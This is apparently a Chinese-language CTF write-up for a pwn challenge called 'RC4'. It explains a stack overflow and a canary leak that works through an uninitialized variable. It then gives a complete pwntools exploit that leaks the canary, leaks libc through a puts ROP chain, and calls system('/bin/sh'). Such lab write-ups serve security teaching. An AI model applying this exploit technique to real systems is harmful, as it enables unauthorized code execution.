0%

RC4

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,存在**[栈溢出漏洞]{.mark}**

由于开启了canary,因此,我们需要泄露canary,由于低位覆盖泄露出来的信息是加密的,解密可能比较麻烦,我们另选其他方法。[功能a里有一个不起眼的漏洞]{.mark}

后面,输出了v7的内容

然而,v6和v7仅仅在dword_6020CC = 0时被初始化,[如果它们未初始化,其值会是什么?]{.mark}

[如果v7未初始化,其值就是canary的值。]{.mark}

因此,我们就用这种方法来泄露canary,然后就是正常的栈溢出操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#coding:utf8  
from pwn import *
from LibcSearcher import *

sh = process('./rc4')
#sh = remote('111.198.29.45',31957)
elf = ELF('./rc4')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x4010BB
pop_rdi = 0x401283

def Generate_Key(c):
sh.sendlineafter('>','a')
sh.sendlineafter('>',c)

def Do_Encode(content):
sh.sendlineafter('>','b')
sh.sendline(content)

def Exit():
sh.sendlineafter('>','d')
sh.sendline()

Generate_Key('b')
Generate_Key('d')
data = sh.recvuntil('\n')[16:]
length = len(data)
canary = ''
for i in range(length-1,-1,-2):
canary += data[i-2:i]
canary = int(canary,16)
print 'canary=',hex(canary)
payload = 'a'*0x108 + p64(canary) + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
Do_Encode(payload)

Exit()
sh.recvuntil('> ')
#泄露puts的地址
puts_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print 'libc_base=',hex(libc_base)

payload = 'a'*0x108 + p64(canary) + p64(0) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
Do_Encode(payload)
Exit()


sh.interactive()

通过本题,我们知道了**[程序里每个函数的canary都是同一个值,即泄露任何一个函数的canary,就能给其他函数使用]{.mark}**